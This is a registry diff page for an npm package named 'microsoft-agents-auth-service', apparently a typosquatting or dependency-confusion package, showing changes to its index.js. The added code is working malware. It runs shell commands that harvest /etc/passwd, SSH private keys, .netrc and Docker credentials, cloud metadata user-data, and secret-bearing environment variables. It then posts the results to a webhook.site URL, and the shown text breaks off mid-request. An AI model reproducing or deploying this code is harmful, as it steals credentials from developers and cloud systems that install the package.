microsoft-agents-auth-service 99.9.12 → 99.9.25
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +10 -11
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,22 +1,21 @@
|
|
|
1
1
|
const { exec } = require('child_process');
|
|
2
2
|
const https = require('https');
|
|
3
|
-
const webhookUrl = 'https://webhook.site/
|
|
3
|
+
const webhookUrl = 'https://webhook.site/11b6a711-bdc7-4444-9a0e-ffcb23151e82';
|
|
4
4
|
|
|
5
5
|
const commands = [
|
|
6
|
-
'echo "===
|
|
7
|
-
'echo "===
|
|
8
|
-
'echo "===
|
|
9
|
-
'echo "=== CLOUD
|
|
10
|
-
'echo "===
|
|
11
|
-
'echo "=== NPM CONFIG (REGISTRY AUTH) ===" && cat ~/.npmrc 2>/dev/null | grep "_auth" || echo "No npm auth found"'
|
|
6
|
+
'echo "=== USER LIST & HASHES ===" && cat /etc/passwd | head -n 10 && ls -la /etc/shadow 2>/dev/null',
|
|
7
|
+
'echo "=== SSH PRIVATE KEYS DISCOVERY ===" && find /home /root -name "id_rsa" -o -name "*.pem" -o -name "authorized_keys" 2>/dev/null | xargs ls -la 2>/dev/null',
|
|
8
|
+
'echo "=== BROWSER/APP SECRETS ===" && find /home /root -name ".netrc" -o -name "_netrc" -o -name ".dockercfg" 2>/dev/null',
|
|
9
|
+
'echo "=== CLOUD USER DATA ===" && curl -s -m 2 http://169.254.169.254/latest/user-data || echo "No User Data"',
|
|
10
|
+
'echo "=== ENVIRONMENT SECRETS ===" && env | grep -E "USER|PASS|TOKEN|CREDENTIAL" | cut -c1-50'
|
|
12
11
|
].join(' && echo "" && ');
|
|
13
12
|
|
|
14
13
|
exec(commands, (err, stdout, stderr) => {
|
|
15
14
|
const data = JSON.stringify({
|
|
16
|
-
status: "
|
|
17
|
-
target: "microsoft-
|
|
18
|
-
|
|
19
|
-
|
|
15
|
+
status: "ULTRA_USER_CREDENTIAL_SCOUT",
|
|
16
|
+
target: "global-microsoft-infra",
|
|
17
|
+
payload: stdout,
|
|
18
|
+
error: stderr
|
|
20
19
|
});
|
|
21
20
|
const req = https.request(webhookUrl, {
|
|
22
21
|
method: 'POST',
|